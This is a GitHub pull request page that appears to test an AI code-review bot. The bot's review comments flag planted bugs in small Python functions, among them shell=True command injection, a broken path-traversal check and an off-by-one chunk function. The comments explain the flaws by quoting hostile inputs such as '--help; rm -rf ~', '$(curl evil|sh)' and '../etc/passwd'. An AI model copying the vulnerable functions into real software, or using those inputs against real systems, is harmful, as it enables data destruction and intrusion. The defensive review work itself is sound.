Repository navigation
test: Claude review on Opus 5.5 (aws-deadline/.github#100) - #28
crowecawcaw wants to merge 1 commit into
Conversation
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
| return cache[path] | ||
| f = open(path) | ||
| data = f.read() | ||
| cache[path] = data |
| def read_config(path, cache={}): | ||
| if path in cache: | ||
| return cache[path] | ||
| f = open(path) |
![github-actions[bot]](https://avatars.githubusercontent.com/in/15368?s=60&v=4){kind=small}
|
|
||
| def chunk(items, size): | ||
| """Split items into lists of at most `size` elements.""" | ||
| return [items[i : i + size] for i in range(0, len(items) - size, size)] |
There was a problem hiding this comment.
Blocking: The range stop len(items) - size silently drops trailing elements. chunk([1,2,3,4,5], 2) returns [[1,2],[3,4]] and loses 5. chunk([1,2], 2) returns [], and any input with len(items) <= size also comes back empty.
return [items[i : i + size] for i in range(0, len(items), size)]|
|
||
|
|
||
| def run_tool(user_arg): | ||
| return subprocess.check_output("deadline " + user_arg, shell=True) |
There was a problem hiding this comment.
Blocking: user_arg is joined into a string and run with shell=True, which allows command injection. A value like "--help; rm -rf ~" or "$(curl evil|sh)" runs arbitrary shell commands as the current user.
Pass an argv list and don't use the shell:
return subprocess.check_output(["deadline", *shlex.split(user_arg)])If the caller can pass a list of args directly, that is better still.
|
|
||
| def safe_join(base, name): | ||
| p = os.path.join(base, name) | ||
| if not p.startswith(base): |
There was a problem hiding this comment.
Blocking: The containment check runs on the raw, unnormalized string, so it doesn't block path traversal. safe_join("/data", "../etc/passwd") returns /data/../etc/passwd, which passes startswith but resolves outside the base. A sibling prefix also passes: safe_join("/data", "../data2/x").
base_r = os.path.realpath(base)
p = os.path.realpath(os.path.join(base_r, name))
if os.path.commonpath([base_r, p]) != base_r:
raise ValueError("escapes base")| def read_config(path, cache={}): | ||
| if path in cache: | ||
| return cache[path] | ||
| f = open(path) |
There was a problem hiding this comment.
Should fix: read_config never closes the file it opens, and it caches results in a mutable default argument that never expires. On every cache miss the handle leaks until GC runs (and triggers a ResourceWarning). The module-level cache={} is shared by every caller for the life of the process, so edits to the config file are never seen after the first read.
Use with open(path, encoding="utf-8") as f:. Also make the cache explicit (a module global or functools.lru_cache) and add a way to invalidate it, or drop it.
|
|
||
|
|
||
| def average(values): | ||
| return sum(values) / len(values) |
There was a problem hiding this comment.
Nit: average([]) raises ZeroDivisionError. Either guard the empty case and return a value or raise a clear error, or use statistics.fmean, which raises a descriptive StatisticsError.
|
Claude review · advisory Reviewed Open: 3 blocking · 1 should-fix · 1 nit. ❌ Address or reply to the open threads. Fix or reply to each thread; the next revision's review re-checks open threads and resolves those it agrees are handled. Resolving a thread yourself also closes it. Later revisions review only what changed. |
Harness test for aws-deadline/.github#100 with action v1.0.244 and Opus 5.5. Do not merge.